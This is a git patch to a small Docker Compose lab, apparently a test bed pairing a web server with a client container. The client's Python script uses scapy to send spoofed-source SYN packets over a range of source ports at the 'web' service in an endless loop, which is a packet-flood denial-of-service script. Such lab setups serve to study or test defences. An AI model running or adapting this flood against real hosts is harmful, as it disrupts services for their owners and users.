From 282ad8f32e595f9f601bfa23e6e36665d5c1d1c8 Mon Sep 17 00:00:00 2001 From: Lukian Date: Thu, 26 Dec 2024 12:24:05 +0100 Subject: [PATCH] Saataa andagii ! --- client/Dockerfile | 2 +- client/app.py | 6 ------ client/main.py | 8 ++++++++ docker-compose.yml | 8 ++------ 4 files changed, 11 insertions(+), 13 deletions(-) delete mode 100644 client/app.py create mode 100644 client/main.py diff --git a/client/Dockerfile b/client/Dockerfile index 76ce601..7571645 100644 --- a/client/Dockerfile +++ b/client/Dockerfile @@ -5,5 +5,5 @@ RUN apk add \ gcc \ libpcap-dev \ && pip install -r requirements.txt -CMD ["python3","app.py"] +CMD ["python", "-u", "main.py"] diff --git a/client/app.py b/client/app.py deleted file mode 100644 index 4914603..0000000 --- a/client/app.py +++ /dev/null @@ -1,6 +0,0 @@ -from scapy.all import * - -for i in range(512,2048): - pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP() - send(pkt, loop=1) - diff --git a/client/main.py b/client/main.py new file mode 100644 index 0000000..572f06a --- /dev/null +++ b/client/main.py @@ -0,0 +1,8 @@ +from scapy.all import * + +while True: + for i in range(512,2048): + pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP() + send(pkt, loop=1) + print("Sent packet") + diff --git a/docker-compose.yml b/docker-compose.yml index 94e559e..73d7806 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,8 +1,6 @@ services: web: - build: - context: server - dockerfile: Dockerfile + build: server container_name: web ports: - 80:80 @@ -10,9 +8,7 @@ services: - network client: - build: - context: client - dockerfile: Dockerfile + build: client container_name: client networks: - network